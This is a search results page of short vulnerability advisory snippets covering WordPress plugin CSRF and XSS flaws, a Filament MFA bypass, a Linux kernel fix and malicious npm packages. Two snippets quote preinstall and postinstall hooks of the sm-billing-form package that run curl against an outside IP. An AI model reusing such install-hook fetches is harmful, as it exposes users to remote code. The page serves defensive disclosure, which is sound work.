33106 matches found
Astra Linux – Vulnerability in Linux 5.10
In the Linux kernel, the following vulnerability has been resolved: x86/fpu: State corruption has been prevented in fpurestoresig. The non-compacted slowpath uses copyfromuser to copy the entire user buffer into the kernel buffer, verbatim. This means that the kernel buffer may now contain entire...
WordPress Hash Form plugin <= 1.4.0 - Cross Site Request Forgery (CSRF) vulnerability
Cross Site Request Forgery CSRF vulnerability discovered by sanghyeok Kim in WordPress Plugin Hash Form versions = 1.4.0...
WordPress Kirki plugin < 6.2.1 - Unauthenticated Arbitrary Shortcode Execution via Form Email Actions vulnerability
Unauthenticated Arbitrary Shortcode Execution via Form Email Actions vulnerability discovered by Jakub Herman in WordPress Plugin Kirki versions 6.2.1...
Malicious Package
Overview tinkoff-boxy-form-desktop-sme-registration-ooo is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that...
Malicious Package
Overview sm-billing-form is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...
Malicious Package
Overview tinkoff-mutual-mgm-form is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this packa...
PT-2026-81015
RansomLook exposed complete API keys in the HTML source of the authenticated /admin/apikeys administration page. Although the interface displayed only a shortened representation of each key, the full token was embedded in hidden form fields used by the enable/disable, private-access, and delete...
VulnCheck KEV: CVE-2026-18781
The Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin before 1.3.9.9 does not validate the final name of an uploaded file after stripping characters from it, allowing unauthenticated users to defeat its file type restrictions and execute arbitrary code on the server...
CVE-2026-77567: Improper Authentication
Filament is a collection of full-stack components for accelerated Laravel development. Prior to versions 4.12.0 and 5.7.0, incorrect challenge-form required-field handling allows app-based multi-factor authentication to be bypassed when recovery codes are enabled. Email-based multi-factor...
PT-2026-81029
Name of the Vulnerable Software and Affected Versions Filament versions prior to 4.12.0 Filament versions prior to 5.7.0 Description Incorrect handling of required fields in the challenge form allows the bypass of app-based multi-factor authentication when recovery codes are enabled. Email-based...
CVE-2026-78280: Cross-Site Request Forgery (CSRF)
Unauthenticated Cross Site Request Forgery CSRF in Hash Form = 1.4.0 versions...
PT-2026-80816
Unauthenticated Cross Site Request Forgery CSRF in Hash Form = 1.4.0 versions...
Malicious code in sm-billing-form (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s...
MAL-2026-14395 Malicious code in sm-billing-form (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s...
CVE-2026-77115
Brave Popup Builder brave-popup-builder up to version 0.8.5 reflects UTM query parameters into popup form HTML without escaping them...
EUVD-2026-64638
Brave Popup Builder brave-popup-builder up to version 0.8.5 reflects UTM query parameters into popup form HTML without escaping them...
CVE-2026-77115 Brave Popup Builder < 0.8.6 - Unauthenticated Reflected XSS via UTM Parameters
Brave Popup Builder brave-popup-builder up to version 0.8.5 reflects UTM query parameters into popup form HTML without escaping them...
CVE-2026-77115
The Brave Popup Builder (brave-popup-builder) WordPress plugin, versions
CVE-2026-77115 Brave Popup Builder < 0.8.6 - Unauthenticated Reflected XSS via UTM Parameters
Brave Popup Builder brave-popup-builder up to version 0.8.5 reflects UTM query parameters into popup form HTML without escaping them...
